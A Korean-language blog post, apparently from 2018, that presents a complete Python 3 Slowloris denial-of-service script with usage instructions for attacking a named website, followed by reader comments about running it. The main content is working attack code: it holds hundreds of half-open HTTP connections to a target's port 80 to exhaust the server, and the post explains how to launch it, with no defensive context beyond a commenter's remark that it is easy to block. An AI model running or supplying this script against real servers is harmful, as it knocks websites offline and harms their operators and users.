[Python3] 파이썬을 이용한 slowloris dos공격

2018.07.25 17:41Python/ㄴ Project

Socket 모듈을 이용한 slowloris dos 공격 파이썬 소스코드

import socket, random, time, sys
headers = [
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Accept-language: en-US,en"
]

sockets = []

def setupSocket(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(4)
    sock.connect((ip, 80))
    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

    for header in headers:
        sock.send("{}\r\n".format(header).encode("utf-8"))

    return sock

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Use it like this: python {} example.com".format(sys.argv[0]))
        sys.exit()

    ip = sys.argv[1]
    count = 200
    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

    for _ in range(count):
        try:
            print("Socket {}".format(_))
            sock = setupSocket(ip)
        except socket.error:
            break

        sockets.append(sock)

    while True:
        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

        for sock in list(sockets):
            try:
                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
            except socket.error:
                sockets.remove(sock)

        for _ in range(count - len(sockets)):
            print("Re-opening closed sockets...")
            try:
                sock = setupSocket(ip)
                if sock:
                    sockets.append(sock)
            except socket.error:
                break

        time.sleep(15)

 

해당 파이썬파일을 dos.py로 저장한 뒤

example.com 이라는 사이트에 slowloris 공격을 할 때 cmd를 실행 한 뒤 해당 파이썬 파일이 존재하는 디렉터리로 경로변경을 한 뒤

py dos.py example.com 커맨드로 사용하시면 됩니다.

'Python > ㄴ Project' 카테고리의 다른 글

[Python3] 파이썬을 이용한 slowloris dos공격  (3) 2018.07.25
  • 프로필사진
    2019.01.06 03:26

    비밀댓글입니다

  • 프로필사진
    lss12019.01.06 03:31

    소스 코드대로 실행 해보았습니다 여기서 궁금한점은 정상적으로 가동시에 어떤식으로 출력이 되는지 궁금합니다.
    Connected to {} sockets. Sending headers... 이것인지 Re-opening closed sockets... 이것인지 궁금하며
    따로 옵션 줘야 하는것이 있습니까? 답변부탁드립니다.

    • 프로필사진
      Favicon of https://xeros.dev BlogIcon Hacker Xeros2019.01.08 14:46 신고

      오래된 글이라 기억이 잘 나지 않지만 옵션도 존재했던것으로 기억합니다

      여담으로 해당 스크립트가 작동하기위해서는 대상 아파치서버의 설정상 취약점이 있어야 작동합니다

      Slowloris 공격의 특성상 단 한대의 컴퓨터로도 상대의 웹서버를 불능상태에 빠뜨릴 수 있지만 그만큼 막기 쉬운 기법이기도 합니다